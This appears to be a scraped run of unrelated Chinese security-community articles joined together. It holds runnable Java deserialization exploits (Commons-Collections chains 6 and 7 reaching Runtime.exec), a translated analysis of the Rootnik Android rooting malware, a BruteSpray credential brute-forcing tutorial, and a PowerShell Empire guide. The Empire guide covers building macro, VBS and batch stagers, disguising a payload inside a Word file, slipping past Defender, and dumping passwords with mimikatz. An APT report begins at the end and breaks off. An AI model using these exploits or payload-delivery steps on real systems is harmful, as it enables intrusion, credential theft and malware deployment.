`LazyMap.LazyMap` 就能直接给 4 使用.
## CommonsCollections6
还是先看调用栈:
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
这条与 CommonsCollections5 类似, 触发点由 BadAttributeValueExpException 改为 HashSet, 这里与
URLDNS 类似, 在反序列化时会重新计算对象的 hashCode, 而刚刚好 TiedMapEntry 的 hashCode 里面与 toString
一样也用到了 getValue.
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
不过这里比较奇怪的是 HashMap 就已经有 hashCode 了, 不知道为什么还要再套一层 HashSet. 我自己重新编写的时候是直接用的
HashMap 作为触发点.
exp 如下:
package demo.rmb122;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CommonsCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fake = new Transformer[]{
new ConstantTransformer("placeholder"),
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
HashMap innerMap = new HashMap<String, String>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry, "zzzz");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); // 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
field.setAccessible(true);
field.set(chainedTransformer, transformers);
innerMap.clear(); // 清除 LazyMap 产生的缓存
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
同样, 这套 exp 在 3, 4 都是通用的, 只需要更改 `LazyMap.decorate` 即可, 在 4 中是
`LazyMap.LazyMap`, 效果是是一样的, 只是方法名换了一个.
## CommonsCollections7
仍然先看调用栈:
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
仍然是用 LazyMap 导致 RCE, 相比 TransformingComparator, LazyMap 在 3, 4 中都可以用, 泛用性会更好.
这里触发 Lazy.get 的方式是利用 HashMap/Hashtable readObject 会重建内部的哈希表的特性. 在遇到 hash
碰撞的时候, 会调用其中一个对象的 equals 方法来对比两个对象是否相同来判断是否真的是 hash 碰撞. 在这之中使用的是父类
`AbstractMap` 的 equals 方法.
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
for (Entry<K, V> e : entrySet()) {
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key) == null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key))) // <-- 对于我们的 exp 来说, 会在这里会触发
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
可以看到这个方法比较两个 Map 的大小, 并对比所有 key, value 都相等. 在其中使用了 get 方法, 触发了 Lazy.get.
在 ysoseiral 中使用的是 Hashtable 类, 实际上 HashMap 也是能够触发的.
final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
boolean evict) {
Node<K,V>[] tab; Node<K,V> p; int n, i;
if ((tab = table) == null || (n = tab.length) == 0)
n = (tab = resize()).length;
if ((p = tab[i = (n - 1) & hash]) == null)
tab[i] = newNode(hash, key, value, null);
else {
Node<K,V> e; K k;
if (p.hash == hash &&
((k = p.key) == key || (key != null && key.equals(k)))) // <-- 这里进入 AbstractMap.equals
e = p;
else if (p instanceof TreeNode)
e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
else {
for (int binCount = 0; ; ++binCount) {
if ((e = p.next) == null) {
p.next = newNode(hash, key, value, null);
if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
treeifyBin(tab, hash);
break;
}
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k))))
break;
p = e;
}
}
if (e != null) { // existing mapping for key
V oldValue = e.value;
if (!onlyIfAbsent || oldValue == null)
e.value = value;
afterNodeAccess(e);
return oldValue;
}
}
++modCount;
if (++size > threshold)
resize();
afterNodeInsertion(evict);
return null;
}
最后 exp 如下:
package demo.rmb122;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CommonsCollections7 {
public static void main(String[] args) throws Exception {
Transformer[] fake = new Transformer[]{
new ConstantTransformer("placeholder"),
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fake);
HashMap innerMap1 = new HashMap<String, String>();
innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
HashMap innerMap2 = new HashMap<String, String>();
innerMap2.put("zZ", "1");
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
HashMap hashMap = new HashMap();
hashMap.put(lazyMap1, "placeholder");
hashMap.put(lazyMap2, "placeholder");
innerMap1.remove("zZ"); // 在 put 的时候产生碰撞, 根据上面的分析调用 LazyMap.get, LazyMap 会将结果存入 innerMap 中缓存, 所以这里需要将其清除, 否则 hashcode 就不一样了
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); // 同上, 将真正的 transformers 设置, 不然在生成 exp 时就会执行命令, 自己打自己了
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
## 总结
可以看到这些 chain 最后均需要经过 InvokerTransformer 或者 InstantiateTransformer. commons-collections 的修复也是着力于重点, 直接 ban 掉这两个类的 readObject, 一劳永逸.
而这些中对于 commons-collections4, 比较实用的是 CommonsCollections2, CommonsCollections4.
对于 commons-collections3, 为 CommonsCollections6, CommonsCollections7. 利用能否成功只与
commons-collections 自身的版本有关, 而与 jre 的版本没有太大关系, 只要不要是远古版本即可. 而且实际上不少 chain
是两者都通用的, 只不过 ysoserial 没有编写, 只需要稍稍修改就行.
另外在反序列化利用过程中, 会有各种相对比较晦涩但经常用到的的概念, 比如代理, ClassLoader, 反射等等. 如果能通过这个机会学习上,
相信会有机会在未来的某一天用上. | 社区文章 |
# 【木马分析】使用高级反调试与反HOOK的安卓恶意ROOT软件的深度分析（一）：NATIVE层的调试
|
##### 译文声明
本文是翻译文章，文章来源：fortinet.com
原文地址：<https://blog.fortinet.com/2017/01/24/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-i-debugging-in-the-scope-of-native-layer>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **shinpachi8**
****](http://bobao.360.cn/member/contribute?uid=2812295712)
预估稿费：180RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
最近，我们发现了一个新的Android rootnik恶意软件，它使用开源的Android root 利用工具和来自dashi root工具的MTK
root方案来在Android设备上获得root权限。这个恶意软件伪装成一个文件助手，还使用了非常先进的反调试和反HOOK技术，用于防止其被逆向
。它还使用了multidex方案加载辅助的dex文件。
在成功获得设备上的root权限后，rootnik恶意软件可能会执行以下几种恶意行为，包括应用和广告宣传，推送色情内容，在主屏幕上创建快捷方式，静默安装应用程序，推送通知等。在这篇博客中，
我会提供对此恶意软件的深入分析。
**恶意软件简介**
恶意应用程序看起来像是一个正常合法的文件助手程序，来管理你保存的文件和手机上的其他资源。
图1 恶意软件安装图标
图2 恶意软件的一个界面
我们反编译APK文件，如图3所示。
图3 反编译的恶意软件
包名为com.web.sdfile。首先，我们来看看其AndroidManifest.xml文件。
图4 AndroidManifest.xml
我们在图4中找不到主Activity,
com.sd.clip.activity.FileManagerActivity，服务类或广播类。显然，这个文件助手的主要逻辑不在classes.dex中。在分析之后，我们发现恶意软件应用程序使用multidex方案动态加载辅助dex文件并执行。
**Rootnik是如何工作的**
**1.Rootnik的工作流程**
以下是android rootnik恶意软件的工作流程。
图5 Android rootnik恶意软件工作流的概述
**2.继续深入第一个dex文件**
以下是SecAppWrapper类的代码段。
图6：类SecAppWrapper的代码段
执行流程如下所示。
Static code block -> attachBaseContext -> onCreate
静态代码块将动态链接库libSecShell.so加载到文件夹资产中，然后程序进入Native层，执行几个反调试操作，解密辅助的dex文件，然后使用multidex方案加载解密的辅助
dex文件，这个DEX文件是应用的主要逻辑 。
DexInstall类实际上是MultiDex类，即：<https://android.googlesource.com/platform/frameworks/multidex/+/d79604bd38c101b54e41745f85ddc2e04d978af2/library/src/android/support/multidex/MultiDex.java>
然后程序调用DexInstall的安装方法来加载辅助dex文件。调用DexInstall的安装方法在Native层中执行的。
图7 安装辅助DEX文件
在attachBaseContext函数中，程序加载com.sd.clip.base.MyApplication类，它是辅助dex的执行入口。
Helper的方法attach是一个Native层方法。
在onCreate函数中，程序执行com.sd.clip.base.MyApplication 类的onCreate函数 。
这就完了。第一个dex其实相当简单。接下来，我们将对Native层代码进行深入分析，这是非常复杂和棘手的。
**3\. Native 代码层的范围**
如上所述，Native层代码使用一些先进反调试和反HOOK技术，并且还使用若干解密算法来解密一些字节数组以获得纯文本字符串。
以下是libSecShell.so中的导出函数的一部分。由于混淆的函数名称，分析变得相当困难。
图8 libSecShell.so中部分导出函数
所有的反调试代码都位于JNI_Onload函数中。
如上一节所述，Java层中Helper类的attach方法是一个Native方法。 程序在Native层动态注册此方法。
以下是在Native层中注册Native方法的ARM汇编代码片段。
图9 在Native 层中动态注册Native函数
函数RegisterNatives用于注册Native方法。其接口如下所示。
jint RegisterNatives(JNIEnv env,jclass clazz, const JNINativeMethod methods,jint nMethods)
JNINativeMethod的定义如下所示。
typedef struct {
const char* name;
const char* signature;
void* fnPtr;
} JNINativeMethod;
The first variable name is the method name in Java. Here, it’s the string “attach”. The third variable, fnPtr, is a function pointer that points to a function in C code.
我们接下来需要找到反调试代码的位置并绕过它，分析如何解密加密的辅助dex文件，并从内存中将dex文件DUMP出来。
让我们看看IDA中的以下代码：
图10 反调试代码片段
根据我们的深入分析，地址0xF832处的指令是跳转到地址loc_F924。 跟踪一些代码后，我们发现了反调试代码。
图11 反调试代码的位置
函数p7E7056598F77DFCC42AE68DF7F0151CA（）执行的是反调试的功能。
以下是它的图形执行流程，这是非常复杂的。
图12 反调试代码的图形执行流程
以下是一些在恶意软件中使用到的反调试和反HOOK的方法。
检测一些常用的HOOK框架，如Xposed，substrate，adbi，ddi，dexposed。一旦发现了使用这些流行的HOOK框架，
它会杀死相关的进程。
图13 检测XPOSED框架
图14 发现HOOK特性
然后使用一种多进程ptrace来实现反调试，这就比较棘手了。在这里我们不打算提供一个对反调试实现机制的详细的分析，只是给一些简单的解释。
我们可以看到有两个进程名为com.web.sdfile。
图15 命令为com.web.sdfile的两个进程
以下是多进程反调试代码的代码段。
图16 反调试代码片段
该程序还使用inotify来监视主进程的内存和主进程的映射。它导致内存的DUMP不完整。这两个进程使用管道相互通信。
总之，这些反调试和反HOOK方法为逆向创造了一个巨大的障碍。所以绕过他们是我们的第一个任务。
那么来吧， 让我们试着绕过他们。
如图10所示，偏移位置为0x0000F832处的指令跳转到loc_F924，然后程序开始执行这些反调试代码。我们可以动态修改某些寄存器或某些ARM指令的值，以便在动态调试时改变程序的运行流程。
当程序在偏移位置0xF828处执行指令“SUBS R1，R0，＃0”时，我们将寄存器R0的值修改为非零值，这将使“BNE
loc_F834”的条件为真，使程序跳转至loc_F834。
图17 如何绕过反调试
接下来，我们就需要动态调试来绕过反调试，然后dump出解密的辅助dex文件。动态调试如下所示。
图18 将寄存器R0的值修改为非0
图19 跳到local_75178834
接下来，跳转到local_751788D8，如下所示。
图20 辅助dex的解密
函数p34D946B85C4E13BE6E95110517F61C41是解密函数。寄存器R0指向存储加密的dex文件的存储器，R1的值是dex文件的大小，即：0x94A3E（608830）。加密的dex文件是apk包中的文件夹中的secData0.jar。以下是文件secData0.jar。
图21 apk包文件夹assets中的 secData0.jar文件
图22 解密后的DEX文件在内存中的内容
我们现在可以将解密文件的内存dump到文件decrypt.dump中。
解密的文件是zip格式的文件，它包含辅助dex文件。解密后，程序将解密的辅助apk解压缩为dex文件。函数p3CBBD6F30D91F38FCD0A378BE7E54877用来解压缩文件。
接下来，函数unk_75176334调用类com.secshell.shellwrapper.DexInstall的java方法来加载解压缩出来的dex文件。
图23 解压apk文件并加载dex文件
图24 通过jni调用安装方法
在这里我们完成对Native层的分析，并获得解密后apk文件，我会将分析这个解密后的apk文件的内容放在这个博客的第二部分。
在Native层中解密secData0.jar的解密函数：
int __fastcall sub_7518394C(int result, _BYTE *a2, int a3)
{
int v3; // r1@1
int v4; // r3@5
unsigned int v5; // r3@7
int v6; // r6@7
int v7; // r5@7
char v8; // r2@8
int v9; // r4@9
int v10; // r3@9
int v11; // r7@11
_BYTE *v12; // r6@12
int v13; // r4@13
_BYTE *v14; // r1@15
int v15; // [sp+0h] [bp-138h]@1
int v16; // [sp+4h] [bp-134h]@1
_BYTE *v17; // [sp+8h] [bp-130h]@1
int v18; // [sp+10h] [bp-128h]@5
char v19[256]; // [sp+1Ch] [bp-11Ch]@6
int v20; // [sp+11Ch] [bp-1Ch]@1
v17 = a2;
v16 = result;
v20 = _stack_chk_guard;
v15 = a3;
v3 = 0;
if ( result <= 0x1FFFF )
{
v3 = 0x20000 - result;
if ( 0x20000 - result > a3 )
v3 = a3;
v15 = a3 - v3;
if ( v3 > 0 )
{
v18 = dword_751AF650;
v4 = 0;
do
{
v19[v4] = v4;
++v4;
}
while ( v4 != 256 );
v5 = 0;
v6 = 0;
v7 = 0;
do
{
v6 = (*(_BYTE *)(v18 + v5) + (unsigned __int8)v19[v7] + v6) & 0xFF;
v8 = v19[v7];
v5 = (v5 + 1) & -((v5 + 1 <= 0xF) + ((v5 + 1) >> 31));
v19[v7] = v19[v6];
v19[v6] = v8;
++v7;
}
while ( v7 != 256 );
v9 = 0;
result = 0;
v10 = 0;
while ( v9 != v16 )
{
v10 = (v10 + 1) & 0xFF;
v11 = (unsigned __int8)v19[v10];
++v9;
result = (v11 + result) & 0xFF;
v19[v10] = v19[result];
v19[result] = v11;
}
v12 = v17;
do
{
v10 = (v10 + 1) & 0xFF;
v13 = (unsigned __int8)v19[v10];
result = (result + v13) & 0xFF;
v19[v10] = v19[result];
v19[result] = v13;
*v12++ ^= v19[(v13 + (unsigned __int8)v19[v10]) & 0xFF];
}
while ( v12 != &v17[v3] );
}
}
if ( v15 > 0 )
{
v14 = &v17[v3];
result = (int)v14;
do
*v14++ ^= 0xACu;
while ( (signed int)&v14[-result] < v15 );
}
if ( v20 != _stack_chk_guard )
result = ((int (*)(void))unk_75173E48)();
return result;
} | 社区文章 |
# 【技术分享】基于nmap扫描结果的端口爆破工具:BrutesPray
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
大家搞内网或者C段渗透测试的时候可能遇到很多时候需要对大批的主机进行精确爆破,这时候 **BruteSpray** 就派上用场了。
BruteSpray是一款基于nmap扫描输出的gnmap/XML文件.自动调用Medusa对服务进行爆破(Medusa美杜莎
是一款端口爆破工具,速度比Hydra九头蛇快)。
BruteSpray甚至可以通过Nmap –sV参数的扫描找到非标准端口。
**使用方法非常简单:**
先上nmap做一个扫描,并且用nmap的-oG或–oX参数将扫描结果保存为一个文件.
**它的具体参数如下:**
-f或 –flie 接一个文件名, 解析nmap输出的 GNMAP 或者 XML 文件
-s或 –service 接一个服务名, 指定要攻击的服务
-t 或 –threads 接一数值,指定线程数
-T 或 –hosts接一数值,指定同时测试的主机数
-U 或 –userlist 接一个用户字典文件
-P 或 –passlist 接一个密码字典文件
-u 或 –username 接用户名,指定一个用户名进行爆破
-p 或 –password 接一个密码,指定一个密码进行爆破
-c 或 –continuous 成功之后继续爆破
-I 或 –interactive 交互模式
**支持爆破的服务有:**
sshftptelnetvncmssqlmysqlpostgresqlrshimapnntppcanywherepop3rexecrloginsmbntsmtpsvnvmauthd
**实战操作**
大概了解完这个工具之后,我们动手拿这个工具测试一下他的效果吧!
首先我们需要使用nmap对目标的ip或ip段做一个扫描，
这里我使用以下命令对我的内192.168.23.0到192.168.23.0的网段进行一个扫描,并生成一个名为nmap.xml的扫描结果文件:
nmap -v 192.168.23.0/24 -oX nmap.xml
通过上述扫描,我们得到一个名为nmap.xml的nmap扫描结果文件
接下来我们使用BrutesPray对扫描出来的端口结果进行爆破
命令很简单,这里我使用它的 –i参数交互模式:
./brutespray.py -f nmap.xml –i
当我们导入nmap的扫描结果后,
BrutesPray会自动解析出来所有开启了可被爆破服务的主机,如上图中就显示了我所在的网段中有1台机器开启了FTP服务,有开启了vmauthd,smbnt,mysql的分别有两台
这里我选择对开启了FTP和MYSQL服务的端口进行爆破,爆破线程是5线程,并行服务爆破的主机数是2个
这里我选择使用不指定字典BrutesPray,和不指定用户名或密码进行爆破,
BrutesPray字典有一些简单的字典,当我们不指定字典它就会加载自带的字典进行爆破,自带的字典位于程序目录下的wordlist文件内:
经过一小会的爆破之后BrutesPray提示已经爆破到一个FTP账号啦:
爆破成功的结果也会自动保存在程序目录下的output文件夹内.
这里只给大家简单介绍了这个工具的功能和用法,大家不妨在做渗透测试的时候试试这个工具
官方地址：<https://github.com/x90skysn3k/brutespray> | 社区文章 |
# 【技术分享】一篇文章精通PowerShell Empire 2.3（上）
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[shuteer](http://bobao.360.cn/member/contribute?uid=1268998211)
预估稿费：700RMB
（本篇文章享受双倍稿费 活动链接请[点击此处](http://bobao.360.cn/news/detail/4370.html)）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**传送门**
[**【技术分享】一篇文章精通PowerShell Empire
2.3（下）**](http://bobao.360.cn/learning/detail/4761.html)
**0×00 引言**
作为360安全的忠实读者和作者，360这次搞活动肯定是要捧场的，至于为什么选择写Empire，是因为Empire在域渗透方面的功能实在是太强大，很多人只是用来生成免杀，未免有点大材小用。而且网上了一直没有一个系统的教程，特别是版本更新到2.X以后，有些使用方法发生了改变，甚至连官网的介绍都没有更新。因为该工具的使用要求搭建域环境，大概写了四五天，期间有在外网VPS上操作的，也有在内网操作的，所以在这个方面不要太较真，只要研究其方法即可。
除了基本的安装，使用以外，在模块方面主要分成 **生成木马，信息收集，提权，横向渗透以及后门** 五个方面来写，目录如下。
0×01.Empire简介
0×02.Empire的基本操作
1．安装
2．设置监听
0×03.生成木马
1.dll
2.launcher
3．launcher_vbs
4.launcher_bat
5.macro
6.Ducky
0×04.连接代理及基本使用
0×05. 信息收集
1.屏幕截图
2.键盘记录
3.剪贴板记录
4.查找共享
5.收集目标主机有用的信息
6.ARP扫描
7.DNS信息获取
8.查找域管登陆服务器IP
9.本地管理组访问模块
10.获取域控制器
0×06. 提权
1.bypassuac
2\. bypassuac_wscript
3\. ms16-032
4.PowerUp
4.1 AllChecks模块
4.2模块使用说明
5.GPP
0×07. 横向渗透
1.令牌窃取
2.会话注入
3.Invoke-PsExec
4.Invoke-WMI
5.Powershell Remoting
0×08. 后门
1.权限持久性劫持shift后门
2.注册表注入后门
3.计划任务获得系统权限
0×09. Empire反弹回Metasploit
**0×01.Empire简介**
Empire是一个针对windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架，包括了从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。快速部署后期漏洞利用模块，内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等等，并且能够适应通信躲避网络检测和大部分安全防护工具的查杀，简单来说有点类似于Metasploit，是一个基于PowerShell的远程控制木马。
Empire的全部功能可以参考官方网站：<http://www.powershellempire.com/>
**0×02.Empire的基本操作**
**1** **．安装**
Empire运行在linux平台上，这里我们安装在购买的VPS上，使用的系统是Debian，首先使用git命令把程序目录下载下来，如下图所示。
git clone
[https://github.com/EmpireProject/Empire.git](https://github.com/EmpireProject/Empire.git)
接着进入setup目录，安装empire，命令如下：
cd Empire
cd setup
sudo ./install.sh
安装结束后，在Empire目录下输入./empire就打开了Empire工具，最新版本是2.3,可以看到有280个模块，0个监听，0个代理，如下图所示。
**2** **．设置监听**
运行Empire后，我们输入help命令来查看具体使用帮助，如下图所示。
很多人在第一次使用Empire时常常会不知道从何下手，其实Empire和Metasploit的使用原理是一样的，都是先设置一个监听，然后去生成一个木马，然后在目标主机运行该木马，我们的监听就会连接上反弹回来的代理。
这里第一步首先要建立一个监听，和metasploit创建一个监听载荷一个道理，输入listeners命令进入监听线程界面，我们可以输入help查看下帮助文件，如下图所示。
接着输入uselistener来设置采用何种模式，我们通过双击Tab键可以看到一共有7种模式，dbx,http,http_com,http_foreign,http_hop,http_mapi和我们熟悉的meterpreter。
这里我们设置http监听模式，输入uselistener http, 然后输入info查看具体参数设置，如下图所示。
这里可以使用set命令可以设置相应参数，这里我们需要使用如下命令设置下Name、 Host和Port。
Set Name shuteer
Set Host XXX.XXX.XXX.XXX:XXXX(Empir所在服务器IP)
这里我们host默认的就是我们VPN的IP就不做修改了，修改完成后，我们可以再次输入info查看是否设置正确，然后输入execute命令即可开始监听。如下图所示。
输入back命令返回上一层listeners界面上，使用list命令可以列出当前激活的listener
删除该监听，使用kill命令，如下图所示。
这里要注意一点，当开启多个监听的时候，必须使用不同的名称，并且使用不同的端口，如果设置的端口已经被使用，会有提示信息。
**0×03.生成木马**
设置完监听，接着我们要生成木马然后在目标机器上运行。可以把这个理解成Metasploit里面的payload，Empire里拥有多个模块化的stagers，接着输入usestager来设置采用何种模块，我们同样通过双击Tab键可以看到一共有26个模块。如下图所示。
其中multi为通用模块、osx是mac操作系统、剩下的就是windows的模块，下面我们挑选其中几种常用类型的木马来具体讲解。
**1.dll**
输入usestager windows/dll的命令，然后输入info命令来查看详细参数，如下图所示
这里我们设置一下Listener，然后执行execute命令，就会在tmp目录下生成launcher.dll的木马，如下图所示。
然后将launcher.dll在目标主机上运行后，就会成功上线。
**2.launcher**
如果只是需要简单的powershell代码，在设置完相应模块后，可以直接在监听器菜单中键入“launcher <language>
<listenerName>”，这将很快为您生成一行base64编码代码，这里输入back命令回到listeners下，然后输入launcher
powershell shuteer(当前设置的listener名字)命令来生成一个Payload。如下图所示。
我将生成的这段命令在装有powershell的目标机上执行，就会得到这个主机的权限，这里我们使用的虚拟机是win2008
R2的64位Enterprise版，安装有有杀毒软件，我们直接COPY这段命令到虚拟机webshell下执行，如下图所示。
可以看到Empire已经上线了一个Name为L9FPTXV6的主机，而且所有杀毒均没有任何提示，输入agents就可以看到上线目标主机的具体内容，这里的Agents就相当于Metasploit的会话sessions如下图所示。
这里的代理Name他会取一个随机的名字，这里我们可以修改这个随机名字，使用rename <oldAgentName>
<newAgentName>命令，这里我们输入rename L9FPTXV6 USA，更改成功，如下图所示。
**3** **．launcher_vbs**
输入usestager windows/launcher_vbs的命令，然后输入info命令来查看详细参数，如下图所示。
使用下面命令设置下listener的参数并运行，默认会在tmp文件夹下生成launcher.vbs。如下图所示。
Set listener shuteer
Execute
最后输入back命令回到listeners下开始监听，将生成的这个launcher.vbs在目标机上打开，就会得到这个主机的权限，这里我们使用的虚拟机是win10的64位旗舰版，安装有系统自带的Defender，运行后，成功上线，Defender没有任何提示。如下图所示。
这里如果要生成powershell代码，设置完Listener后不用execute，直接back，然后输入launcher powershell
shuteer即可，如下图所示。
**4.launcher_bat**
输入usestager windows/launcher_bat的命令，然后输入info命令查看详细参数，如下图所示。
使用下面命令设置下listener的参数并输入execute命令运行，默认会在tmp文件夹下生成launcher.bat，如下图所示。
Set listener shuteer
Execute
输入back命令回到listeners下开始监听，然后将生成的这个launcher.bat在目标机上打开，就会得到这个主机的权限，这里我们在虚拟机运行后，可以看到，已经成功上线了。如下图所示。
为了增加迷惑性，也可以将该批处理插入到一个office文件中，这里随便找个word或者excel文件，点击“插入”标签选择“对象”，然后选择“由文件创建”，点击“浏览”，并选择刚才生成的批处理文件，然后勾选“显示为图标”，点击“更改图标”来更改一个更具诱惑的图标。如下图所示。
在“更改图标”界面里，我们可以选择一个图标，这里建议使用微软Excel、Word或PowerPoint图标，这里我们使用了word的图标，并且更改文件的名称为研究成果，扩展名改为doc。点击确定后，该对象就会插入到word文件中，如下图所示。
接着在listeners下监听，然后将该word文件发给目标，一旦在目标机上打开，并运行了内嵌的批处理文件，就会得到这个主机的权限，这里我们使用的虚拟机是win10的64位旗舰版，安装有系统自带的Defender，运行后，成功上线，Defender没有任何提示，杀软会报宏病毒。如下图所示。
**5.macro**
输入usestager windows/macro的命令，然后输入info命令来查看详细参数，如下图所示。
这里使用下面命令设置下listener的参数并输入execute命令运行，如下图所示。
Set listener shuteer
Execute
默认会生成一个宏，储存在/tmp/macro文件中，如下图所示。
然后我们需要将生成的宏添加到一个Office文档里面，这里还是用上例word文件，点击“视图”标签选择“宏”，宏的位置选择当前文件，宏名随便起一个，然后点击创建，如下图所示。
点击创建后，会弹出VB编辑界面，将里面原来的代码删除，把我们生成的宏复制进去，另存为“Word 97-2003文档（*.doc）”文件。如下图所示。
最后我将这个修改过的word拷到目标机上执行，打开后会提示一个安全警告，这里需要使用一些社会工程学的策略，诱导目标点击“启用内容”。如下图所示。
这里我们点击“启用内容”，可以看到在我们的监听界面下面，目标机已经顺利上线了。实际测试杀软会报宏病毒。
如果要删除该主机，同样使用kill或者remove命令，如下图所示。
**6.Ducky**
Empire也支持ducky 模块，也就是我们常说的“小黄鸭”，输入usestager
windows/ducky命令，然后输入info命令来查看详细参数，如下图所示。
这里只要设置下Listener参数，就可以生成用于烧制的代码，如下图所示。
将该代码烧制“小黄鸭”中，插入对方电脑，就可以反弹回来。具体操作流程可以参考这篇文章：[利用USB RUBBER DUCKY（USB
橡皮鸭）在目标机器上启动Empire或Meterpreter会话](http://www.freebuf.com/geek/141839.html)。
**0×04.连接代理及基本使用**
目标主机反弹成功以后，我们可以使用agents命令列出当前已激活的代理，这里注意带有（*）的是已提权成功的代理。如下图所示。
然后使用interact命令连接代理，代理的名称支持TAB键的补全，连接成功后，我们输入help命令可以列出所有的命令，如下图所示。
可以看到功能相当强大，基本可以和Metasploit媲美，更为强大的是兼容windows，linux和metasploit的部分常用命令，使用上手相当快，如下图所示。
输入help agentcmds可以看到可供使用的常用命令，如下图所示。
使用cmd命令的时候，要使用“shell+命令”的格式，如下图所示。
我们再试试内置的mimikatz模块，输入mimikatz命令，如下图所示。
同Metasploit一样，输入creds命令，可以自动过滤整理出获取的用户密码。
这里有个小技巧，输入creds后双击tab键，可以看到一些选项，如下图所示。
在内网抓取的密码比较多又乱的时候，可以通过命令来正对hash/plaintext进行排列，增加，删除，导出等操作，这里我们将凭证存储导出为，输入creds
export 目录/xx.csv命令，如下图所示。
实际渗透过程中由于种种原因总会有部分反弹丢失或者失效，可以使用list stale命令来列出已经丢失的反弹代理，然后用remove
stale来删去已经失效的反弹。如下图所示。
其他还有一些常用命令，如bypassuac提权命令，SC截图命令，Download下载文件，upload上传文件等等比较简单就不做演示了，建议大家参照帮助多多尝试其他命令。
（待续）
##
**QQ:8946723 QQ群：282951544 欢迎各位的交流和批评指正！** | 社区文章 |
# 摩诃草APT组织针对我国敏感机构最新的网络攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
摩诃草组织（APT-C-09），又称HangOver、VICEROY TIGER、The Dropping
